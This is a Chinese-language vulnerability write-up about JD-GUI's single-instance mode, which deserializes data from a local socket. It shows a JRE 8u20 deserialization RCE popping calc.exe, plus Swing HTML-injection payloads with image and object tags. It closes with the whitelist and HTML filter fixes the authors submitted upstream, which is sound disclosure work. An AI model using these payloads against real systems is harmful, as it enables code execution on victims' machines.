上周和Y4tacker师傅交流学习,偶然间发现 JD-GUI 在开启某项配置的情况下,会监听端口并反序列化任意的数据,深入研究后发现了一些其他的安全问题,最终我和 Y4tacker 师傅提了两个 issue 并提交了修复代码的 Pull Request 不过 JD-GUI 社区不活跃,很久无回复
入口
在 JD-GUI 的入口类 App 中可以发现以下代码
`// 如果开启了某个特殊参数(单例)``if ("true".equals(configuration.getPreferences().get(SINGLE_INSTANCE))) {` `InterProcessCommunicationUtil ipc = new InterProcessCommunicationUtil();` `try {` `// 监听端口` `ipc.listen(receivedArgs -> controller.openFiles(newList(receivedArgs)));` `} catch (Exception notTheFirstInstanceException) {` `// 如果无法监听则发送参数` `ipc.send(args);` `System.exit(0);` `}``}`
如果开启了这个参数,那么你的系统中只会跑一个 JD-GUI (单例)在 Windows 中配置文件 jd-gui.cfg 默认在 C:\\Users\\User\\AppData\\Roaming\\jd-gui.cfg 中。我们需要加入的属性是 UIMainWindowPreferencesProvider.singleInstance
`<preferences>` `<JdGuiPreferences.errorBackgroundColor>0xFF6666</JdGuiPreferences.errorBackgroundColor>` `<JdGuiPreferences.jdCoreVersion>1.1.3</JdGuiPreferences.jdCoreVersion>` `<UIMainWindowPreferencesProvider.singleInstance>true</UIMainWindowPreferencesProvider.singleInstance>``</preferences>`
配置好参数,正常启动第一个 JD-GUI 程序。当你启动第二个 JD-GUI 的时候, JD-GUI 尝试监听端口被占用报错,会将当前的启动参数发送到第一个 JD-GUI 中被反序列化,并以文件的方式打开。如下图中,我已经打开了一个 JD-GUI 然后在 IDEA 中设置启动参数为 arthas-core.jar 测试文件,发现第一个 JD-GUI 会直接打开该文件
8u20 RCE
当我看到反序列化的时候,立刻想到的是 8u20 反序列化
先到国外佬的 Github 下一份 8u20 的生成代码:https://github.com/pwntester/JRE8u20\_RCE\_Gadget
修改 ExploitGenerator#main 方法代码,弹一个计算器即可
String command = "calc.exe";
进入 InterProcessCommunicationUtil 可以发现监听的端口是 20156
`protected static final int PORT = 2015_6;`` ``public static void listen(final Consumer<String[]> consumer) throws Exception {` `final ServerSocket listener = new ServerSocket(PORT);`` ` `Runnable runnable = new Runnable() {` `@Override` `public void run() {` `while (true) {` `try (Socket socket = listener.accept();` `ObjectInputStream ois = new ObjectInputStream(socket.getInputStream())) {` `// Receive args from another JD-GUI instance` `String[] args = (String[])ois.readObject();` `consumer.accept(args);` `} catch (IOException|ClassNotFoundException e) {` `assert ExceptionUtil.printStackTrace(e);` `}` `}` `}` `};`` ` `new Thread(runnable).start();``}`
运行后生成一个 exploit.ser 文件,通过 Socket 将数据发到 JD-GUI 实现 RCE 攻击
8u20 RCE Fix
对于这个问题的修复很简单,设置反序列化白名单我已将代码提交到 JD-GUI 官方:https://github.com/java-decompiler/jd-gui/pull/417
自定义 ObjectInputStream 并重写 resolveClass 只允许字符串数组( [Ljava.lang.String; )
`static class FilterObjectInputStream extends ObjectInputStream {`` ` `public FilterObjectInputStream(InputStream in) throws IOException {` `super(in);` `}`` ` `@Override` `protected Class<?> resolveClass(final ObjectStreamClass classDesc) throws IOException, ClassNotFoundException {` `if (classDesc.getName().equals("[Ljava.lang.String;")) {` `return super.resolveClass(classDesc);` `}` `throw new RuntimeException(String.format("not support class: %s",classDesc.getName()));` `}``}`
使用安全的 FilterObjectInputStream 进行反序列化
`ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream()));``// Receive args from another JD-GUI instance``String[] args = (String[])ois.readObject();``consumer.accept(args);`
发送 Payload 后报错,成功修复
XSS
当修复反序列化漏洞后,是否还有进一步的利用空间
反序列化收到的字符串数组后,首先构造一个文件集合
`protected static List<File> newList(String[] paths) {` `if (paths == null) {` `return Collections.emptyList();` `} else {` `ArrayList<File> files = new ArrayList<>(paths.length);` `for (String path : paths) {` `files.add(new File(path));` `}` `return files;` `}``}`
当文件不存在时,文件绝对路径会加入一个错误集合中
`ArrayList<String> errors = new ArrayList<>();``for (File file : files) {` `// Check input file` `if (file.exists()) {` `FileLoader loader = getFileLoader(file);` `if ((loader != null) && !loader.accept(this, file)) {` `errors.add("Invalid input fileloader: '" + file.getAbsolutePath() + "'");` `}` `} else {` `errors.add("File not found: '" + file.getAbsolutePath() + "'");` `}``}`
在下文中,这个错误集合会被拼接字符串,通过 JOptionPane 显示
`for (String error : errors) {` `if (index > 0) {` `messages.append('\n');` `}` `if (index >= 20) {` `messages.append("...");` `break;` `}` `messages.append(error);` `index++;``}`` ``JOptionPane.showMessageDialog(mainView.getMainFrame(), messages.toString(), "Error", JOptionPane.ERROR_MESSAGE);`
在Java Swing 中,绝大多数的组件都支持 HTML 渲染。简单尝试直接使用 HTML 标签发送
`FileOutputStream fos = new FileOutputStream("exploit.ser");``ObjectOutputStream oos = new ObjectOutputStream(fos);``oos.writeObject(new String[]{"<html>Y4TACKER</html>"});``fos.write(bytes);``fos.close();`
发现直接的 HTML 标签不会渲染
经过我们多次的测试,发现开头加入多个换行会解析 HTML
使用以下的 Payload 测试
`FileOutputStream fos = new FileOutputStream("exploit.ser");``ObjectOutputStream oos = new ObjectOutputStream(fos);``oos.writeObject(new String[] {"/\r\n\r\n\r\n<html><body><h1 color='red'>4ra1n and Y4tacker</h1><body></html>"});``fos.write(bytes);``fos.close();`
结果如下,发现没有完全解析
经过进一步的分析,我发现了这里的原因:
这里的输入字符串会变成 File 类的构造参数
回显使用 file.getAbsolutePath 方法获得
在 Windows 中会把所有的 / 当成路径换成 \ 符导致无法解析闭合标签
在 Mac OS 中不会把 / 替换,所以 Y4tacker 师傅的报告中正常解析
这个问题会导致在 Windows 中不可能实现 SSRF 效果(不确定 Linux 中的处理逻辑)
oos.writeObject(new String[] {"/\r\n\r\n\r\n<html><img src=\"http://127.0.0.1:1234/test\"></html>"});
调试分析真正的字符串如下,无论多少个 / 或 \ 在 file.getAbsolutePath 后都会变成一个
进一步探索
既然无法 SSRF 那么我想到了曾经的 Swing RCE
<html><object classid="?"><param name="?" value="?">
这种方式的不需要标签的闭合即可生效,简单地尝试
oos.writeObject(new String[]{"\n\n\n\n<html><object classid=\"?\"><param name=\"?\" value=\"?\">"});
如图,出现两个红色问号说明已经成功了
接下来是寻找 JD-GUI 是否存在符合的 gadget
- 必须有一个 set 方法
- set 方法必须只有一个参数
- 这一个参数必须是 string 类型
- 该类必须是 Component 子类(包括间接子类)
使用我的工具 jar-analyzer 加入 JD-GUI 和 rt.jar 开始分析
(实际上我写的规则不够完善存在一些误报)
搜索到了一大堆结果,但逐个分析后都没有什么活
随便使用 JLabel 测试 javax.swing.JLabel
`oos.writeObject(new String[]{"\n\n\n\n<html><object classid=\"javax.swing.JLabel\"><param name=\"text\" value=\"hello world!\">"});``fos.write(bytes);``fos.close();`
发送过去如图,产生了变化,说明思路正确,只差 gadget
最后,哪怕 JD-GUI 里存在 gadget 大概率也需要其中的 value 是一个远程地址,由于上文提到的限制很可能无法成功利用。不过,无论如何都应该尝试找一下
XSS Fix
这个问题的修复就很简单了,在 Swing 里注入 html 没有什么花活,只判断 即可
于是在上文 FilterObjectInputStream 保护反序列化的基础上再过滤一层
https://github.com/java-decompiler/jd-gui/pull/418
`ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream());``String[] args = (String[]) ois.readObject();`` ``for (String arg : args) {` `if (arg.toLowerCase().contains("<html>")) {` `throw new RuntimeException(String.format("evil arg: %s", arg));` `}``}`` ``consumer.accept(args);`